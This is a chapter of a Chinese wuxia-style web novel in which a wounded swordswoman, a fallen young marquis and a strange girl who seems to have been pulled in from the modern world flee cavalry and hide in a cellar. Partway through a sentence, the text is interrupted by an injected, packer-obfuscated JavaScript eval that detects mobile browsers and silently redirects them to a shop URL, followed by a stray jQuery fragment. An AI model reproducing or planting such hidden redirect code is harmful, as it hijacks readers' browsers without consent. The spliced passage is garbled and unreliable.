玉寒莲险险被那女子扯倒,转头去看她时,才发现这女子脚上并没有穿鞋子,只是两块木板垫在脚下,上面有一条细绳勾住脚趾,白晃晃的一双玉足,就这么露在外面,简直是有伤风化。
随即玉寒莲又把眼光往上移,那女子身上的衣裳,本自短小,将将遮住前胸,又被那些骑兵撕扯开来,整个后背都几乎露出来,下身更是一截短裤,一双雪白的腿,就这么晃来晃去,实在是……
玉寒莲转头去看江煜,江煜这会儿倒是目不斜视,只是扬头看着前方。玉寒莲今日晚上劫财,身上穿的是夜行衣,江煜也是居家常服,两人分不出一件衣裳,给这女子遮体。
“江煜。”玉寒莲低声说:“你去把那骑兵身上的衣服扒下来,给这位姑娘遮挡一下。”
江煜鼻子哼了一声,显然小侯爷的身份,被人当成使唤奴才,让他极为不舒服。玉寒莲这会儿也是自己身子不适,不然懒得指使这个万金侯爷动手,她压了压火气,又低声说:“再给她拿双靴子过来,不然她走不快,倒拖我们后腿。”
“走不快就扔下她,带着这么个疯子跑,谁知道会惹下什么麻烦。”江煜瞥了那女子一眼,满脸的不耐烦。
“哈,真有意思,谁稀罕和你一起走,这么宽的路,哪个不能走,你以为你是谁?也管得着我。”这女子见江煜言语之间对她极是不屑,忍不住反唇相讥,一改刚刚大声呼救的懦弱模样。
“我堂堂……”江煜听了这话,心里的火一下就拱起来,瞪着她就要开口呵斥,突然又想起自己侯府已经被抄家,再不复旧日风光,当下“哼”了一声,闭口不言。
“哈,吹牛皮!”这女子半点没意识到自己已在鬼门关前走了一场,只当自己的气势压住了江煜,还想再开口说几句,忽然看到玉寒莲伸手制止,她刚刚眼见玉寒莲手里的砍刀噼啪剁下,那些骑兵接二连三地倒在地上,心知玉寒莲太厉害,可不是自己能惹得起的主儿,当下连忙闭嘴不言语。
玉寒莲这会儿更是心烦,今夜这事原本顺顺当当,偏是自己一时心善,出手救了这个小侯爷,才引得后面一连串的事情,若是依着她的脾气,哪里会在这儿安静听这么两个蠢货斗嘴,抬抬脚早行出一、二里地去了,可惜她刚刚受了内伤,只靠一口气强撑着身子,眼下这个情况,她自己一个人怕是走不远,只得耐着性子,忍着这二人。
“小侯爷,劳您大驾,给这女子拿件衣裳过来,咱们好快些赶路。跑走那个骑兵,只怕这会儿已经带人追上来了。”玉寒莲强压着火气又说了一句。
到底还是恐吓有用,江煜不情不愿地转身去死人身上扒衣服,“姐姐你真好。”玉寒莲还没回头,一个黑影便扑了上来,玉寒莲耳中听到风声有异,可抬手却没有半分力气,硬是被这女子抱在怀里,“你,松手!”
玉寒莲低声喝了一句,那女子猛然弹起身子,仰着头,眼望虚空之中,满脸都是气愤之色,双臂挥舞着,冲着天空大叫:“我不同意,夜之光,你把我拉回去,我都说了我不玩这个,你把我拉回去,不然我报警了,要不我找人揍你去,夜之光,你个混蛋,你把我拉回去。”
玉寒莲悄悄往后面退了两步,不知这女子突发何等癔症,竟然对着天空自言自语,她说了几句,然后又闭口,仿佛有人在回答她的话,随后就见这个女子头摇的如拨浪鼓一般:“不行,不行,我不玩这个,你让我回去,夜之光,我求求你,你换个人吧。我不行,我明天还要上学呢,你让我回去吧。”
这会儿功夫,江煜已经拎着两件外袍,一双靴子转了回来,见那女子神色异常,对着天空大喊大叫,也是受惊不小,他探寻地目光看向玉寒莲,却见对方也是一脸茫然。
忽地玉寒莲脸色一变,她本是练武之人,耳力遥遥胜过那二人,隐约听到远处有马蹄声传来,想是京城之中,接应的人过来了,若是再将他们几个人围住,只怕这一次,绝难脱身。
“走,快走。”玉寒莲低声说着,伸手去拉那个女子,那女子反手甩脱,又对着天空大喊不停。玉寒莲也懒得管她,她心里盘算,这些骑兵只怕跟着之前的马蹄印,会转到对面去,可是就怕他们转了一圈,再绕回来,那样——她抬头细看,西南方向那里,黝黑一片,好似有个房屋,当先便行,江煜把手上衣饰往地上一扔,跟着玉寒莲便走,那个女子仿佛听见动静,回头看了一眼,又对着天空说个不停,忽地脸色一变,转身从地上拾起衣裳,跟在他们后面跑了过来,嘴里还在叫着:“姐姐,姐姐,等等我,等等我。”
“噤声!”江煜回头低喝,那女子似乎吓到一般,停下脚步,捡起那双靴子套在脚上,又扯过一件外袍搭在身上,随后快跑两步,来到玉寒莲身边,伸手扶住她的胳膊。玉寒莲这会儿已是强弩之末,连跑几步都费力不止,幸而得这女子相扶,三个人跌跌撞撞跑到一处矮屋之下,江煜伸手就要叩门。
玉寒莲心里一惊,用手中刀背挡了一下,江煜疑惑地转头看她,玉寒莲微微摇头,带着二人顺着房子走到后面院子里,她侧耳听了听,四处无声,极为安静。再看那房屋四下漆黑,并未一点灯火。
前面是官道,左近皆是荒地,这里孤零零搭着一座小房子,这事实在诡异,要是平时玉寒莲身子强健,这会儿早已翻身进屋,将里外翻看一遍,可是她身子虚弱,若是房中另有古怪,只怕江煜和那女子不能应付,可是舍了这处屋子,极目之内并无藏身之所,万一后面追兵而至,只怕也是难办。
“姐姐。”那女子见她犹豫不绝,低声唤了一句,玉寒莲转头看她时,忽然见到房子后面一丈之处,地面微微隆起,想来应该是这家人挖下的地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943261|213998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
窖,平日里储存粮食之用,贸然闯进屋子,风险太大,如果躲进地窖呢。一旦官兵过来,只怕也不难搜查。
“姐姐,”那女子又唤了她一声,然后抬手指了指地窖说:“我们躲在里面。”玉寒莲缓缓摇头说:“不可,官兵一旦过来,必然能搜到人,反而被束缚住手脚。”
“那我们继续赶路。”江煜在一旁等得不耐烦,开口说着,抬腿要走,却听得远处马蹄声响,又退了回来,声音里带着颤音说:“他们追来了。”
玉寒莲也是皱眉,眼下这功夫,哪里还躲得了。可是那女子却跑到地窖边,弯腰一抬,也没见她怎么用力,竟然拉起一扇铁门,看得那二人皆是目呆。
“快,快进来,”那女子匆忙招呼,说完自己先跳了进去。玉寒莲此刻也没有旁的法子,扯着江煜也跳了进去,反手将上面的铁门盖住。
这时马蹄声已到房前,那些骑兵的说话声音,隐约可闻。
“胡司,这边只有这一个房子,前面小队回来,说那边没人。”
“胡司,北面没人,只有两匹马,屁股上有刀伤,显然是故意被人引过去的。”
“胡司,东北方也没有人行踪迹。”
江煜在地窖里听见外面骑兵的话,心里暗暗焦急,这个胡司,应该是京城护卫队的司长,姓胡,是个挺精明的汉子,以前曾拜访过侯府,还与江煜有过数面相交,若是他亲自过来抓人,只怕这么一个不小的地窖,可是瞒不过他的眼睛。
江煜担忧地看向玉寒莲,却见对方眼中露出同样的忧色,可见胡司的名号,玉寒莲也是听说过的,毕竟她在京城中,卖艺踩盘子,就不可能不知道,这么一号人。若是之前那几个骑兵饭桶,玉寒莲还有一二分把握,把人给诳走,而今来的是这么个活阎王,只怕今天要交代在这儿了。
江煜再转头去那个女子,倒是个没心没肺的主儿,裹着一件骑兵外袍,大刺刺地坐在地上,那坐姿也不是个有规矩的样子,正低头搬弄脚上的靴子,可能是穿得不大合脚,不知从哪里捡了一个小匕首,正在一条一条撕扯那件外袍,再把布条垫到靴子里,想是感觉到江煜在看她,还特意抬起头,气哄哄地瞪了他一眼。
江煜正要开口说话,忽见玉寒莲伸手捂住他的嘴,这时有声音在头上传出来:“这里,这里是地窖,之前听到几个人说,要躲到地窖去,大人,饶命,饶命啊,小的什么都不知道,什么都没看到啊。”
一个很苍老的声音,应该是这房子的主家,之前玉寒莲他们没进屋子,也不清楚里面有没有人,显然屋子里是有人的,而且还听到了他们说话,这会儿胡司应该是把人提了出来,那主家直接招供,带着他们来到地窖门口,那下一刻,是不是这个地窖门就要从外面打开了?
玉寒莲紧握手中的刀,仰头看着上方。